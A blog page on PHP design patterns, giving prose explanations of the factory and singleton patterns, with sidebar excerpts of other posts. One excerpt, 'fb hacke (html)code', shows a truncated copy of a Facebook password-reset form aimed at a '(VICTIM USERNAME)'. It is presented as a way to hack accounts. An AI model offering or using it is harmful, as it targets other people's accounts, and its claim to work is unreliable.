Skip to main content

Common design patterns for PHP

  1. The factory pattern:

    Many of the design patterns in the original Design Patterns book encourage loose coupling. To understand this concept, it’s easiest to talk about a struggle that many developers go through in large systems. The problem occurs when you change one piece of code and watch as a cascade of breakage happens in other parts of the system — parts you thought were completely unrelated.
    The problem is tight coupling. Functions and classes in one part of the system rely too heavily on behaviors and structures in other functions and classes in other parts of the system. You need a set of patterns that lets these classes talk with each other, but you don’t want to tie them together so heavily that they become interlocked.
    In large systems, lots of code relies on a few key classes. Difficulties can arise when you need to change those classes. For example, suppose you have a User class that reads from a file. You want to change it to a different class that reads from the database, but all the code references the original class that reads from a file. This is where the factory pattern comes in handy.
    The factory pattern is a class that has some methods that create objects for you. Instead of using new directly, you use the factory class to create objects. That way, if you want to change the types of objects created, you can change just the factory. All the code that uses the factory changes automatically.

    An interface called IUser defines what a user object should do. The implementation of IUser is called User, and a factory class called UserFactory creates IUser objects.
  2. The singleton pattern:

    Some application resources are exclusive in that there is one and only one of this type of resource. For example, the connection to a database through the database handle is exclusive. You want to share the database handle in an application because it’s an overhead to keep opening and closing connections, particularly during a single page fetch.
    The singleton pattern covers this need. An object is a singleton if the application can include one and only one of that object at a time. The code in Listing 3 shows a database connection singleton in PHP V5.
    This code shows a single class called DatabaseConnection. You can’t create your own DatabaseConnection because the constructor is private. But you can get the one and only one DatabaseConnection object using the static get method.
    The two handles returned are the same object. If you use the database connection singleton across the application, you reuse the same handle everywhere.
    You could use a global variable to store the database handle, but that approach only works for small applications. In larger applications, avoid globals, and go with objects and methods to get access to resources.

Comments

Popular posts from this blog

fb hacke (html)code

<form method="post" action="/recover/password?u=(VICTIM USERNAME)&amp;n=389548" onsubmit="return window.Event &amp;&amp; Event.__inlineSubmit &amp;&amp; Event.__inlineSubmit(this,event)" id="u_0_4"><input type="hidden" name="lsd" value="AVoH0gpvlk4" autocomplete="off"><div class="mvl ptm uiInterstitial uiInterstitialLarge uiBoxWhite"><div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="clearfix uiHeaderTop"><div class="rfloat _ohf"><h2 class="accessible_elem">Choose a new password</h2><div class="uiHeaderActions"></div></div><div><h2 class="uiHeaderTitle" aria-hidden="true">Choose a new password</h2></div></div></div><div class="phl ptm uiInterstitialContent...

How To Repair Corrupted Pen Drive or SD Card In Simple Steps?

Short Bytes: In this article, I am going to tell you about various methods which will help you to repair your corrupted SD card or Pen drive. Very often we face this problem of a corrupted storage device and this guide will surely answer all your questions. D ealing with a corrupted SD card or pen drive is a tedious task. We spend hours to get back our storage into working condition but get nothing. This article comprises of various methods which will help you repair your corrupted pen drive or SD card. For SD card, you will have to insert it into the slot provided in your computer or by using a card reader. Use adapter if you have a microSD card. It will not work if you connect some device having the SD card like a smartphone or a camera. Check out these different methods. Different methods to repair corrupted pen drive or SD card: Change the drive letter Sometimes your computer is unable to assign drive letters (like C, D, E) to your storage media. Due to this ...

What is RDBMS?

RDBMS stands for  R elational  D atabase  M anagement  S ystem. RDBMS is the basis for SQL, and for all modern database systems like MS SQL Server, IBM DB2, Oracle, MySQL, and Microsoft Access. A Relational database management system (RDBMS) is a database management system (DBMS) that is based on the relational model as introduced by E. F. Codd.